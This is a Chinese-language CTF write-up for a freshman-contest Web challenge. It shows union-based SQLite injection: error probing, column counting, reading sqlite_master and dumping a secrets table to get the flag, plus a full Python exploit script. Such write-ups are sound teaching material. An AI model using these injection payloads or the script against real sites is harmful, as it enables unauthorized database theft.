赛事:第三届 PCTF2026 新生赛 | 方向:Web | 状态:已出 flag
Flag:flag{088a367e-73a9-4d8d-a5b7-f2c205e4daee}
Flag 类型:动态 —— Web 题 flag 由平台按队伍/实例生成,本文仅为当时实例;复现时以你自己实例的返回为准。
一、题目信息
二、解题思路
?id=1'直接回显SQLite error: unrecognized token→ 报错型注入,且能直接看到报错。?id=1' OR '1'='1返回全部记录;?id=1 OR 1=1返回 0 条 → 参数被单引号包裹。用报错探测 UNION 列数:
UNION SELECT 1,2--成功 → 2 列。读
sqlite_master拿到表结构,发现secrets(name,value),直接拖 flag。
三、关键步骤
探测:
?id=1' UNION SELECT 1,2,3-- → 列数不匹配报错 ?id=1' UNION SELECT 1,2-- → 成功(第 1 列渲染为书名,第 2 列为作者)看表:
?id=1' UNION SELECT sql, name FROM sqlite_master-- → CREATE TABLE books(title TEXT,author TEXT,id TEXT) CREATE TABLE secrets(name TEXT,value TEXT)拖 secrets:
?id=1' UNION SELECT name, value FROM secrets-- → flag | flag{...}
或拼成一列:?id=1' UNION SELECT name||'='||value,'' FROM secrets--。
四、拿到 Flag
flag{088a367e-73a9-4d8d-a5b7-f2c205e4daee}五、Exp
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""青禾图书馆 SQLite 注入
用法:python "Web - 青禾图书馆 - exp.py" [base_url]
默认:http://challenge1.pctf.top:43915/
"""
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://challenge1.pctf.top:43915/").rstrip("/") + "/"
def query(payload):
url = BASE + "?" + urllib.parse.urlencode({"id": payload})
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
try:
with urllib.request.urlopen(req, timeout=25) as r:
return r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.read().decode("utf-8", "replace")
def main():
# 1) 确认注入:单引号触发 SQLite 报错
print("[*] probe:", re.sub(r"\s+", " ", re.sub(r"<[^>]+>", " ", query("1'")))[:200])
# 2) 读表名
html = query("1' UNION SELECT sql, name FROM sqlite_master--")
print("[*] tables:", re.findall(r"CREATE TABLE[^<]*", html))
# 3) 拖 secrets
html = query("1' UNION SELECT name || '=' || value, '' FROM secrets--")
m = re.search(r"[A-Za-z0-9_]+\{[^}<]+\}", html)
if m:
print("[+] flag:", m.group(0))
else:
# 兜底:直接按两列查
html = query("1' UNION SELECT name, value FROM secrets--")
m = re.search(r"[A-Za-z0-9_]+\{[^}<]+\}", html)
print("[+] flag:", m.group(0) if m else "未找到,回显:" + html[:500])
if __name__ == "__main__":
main()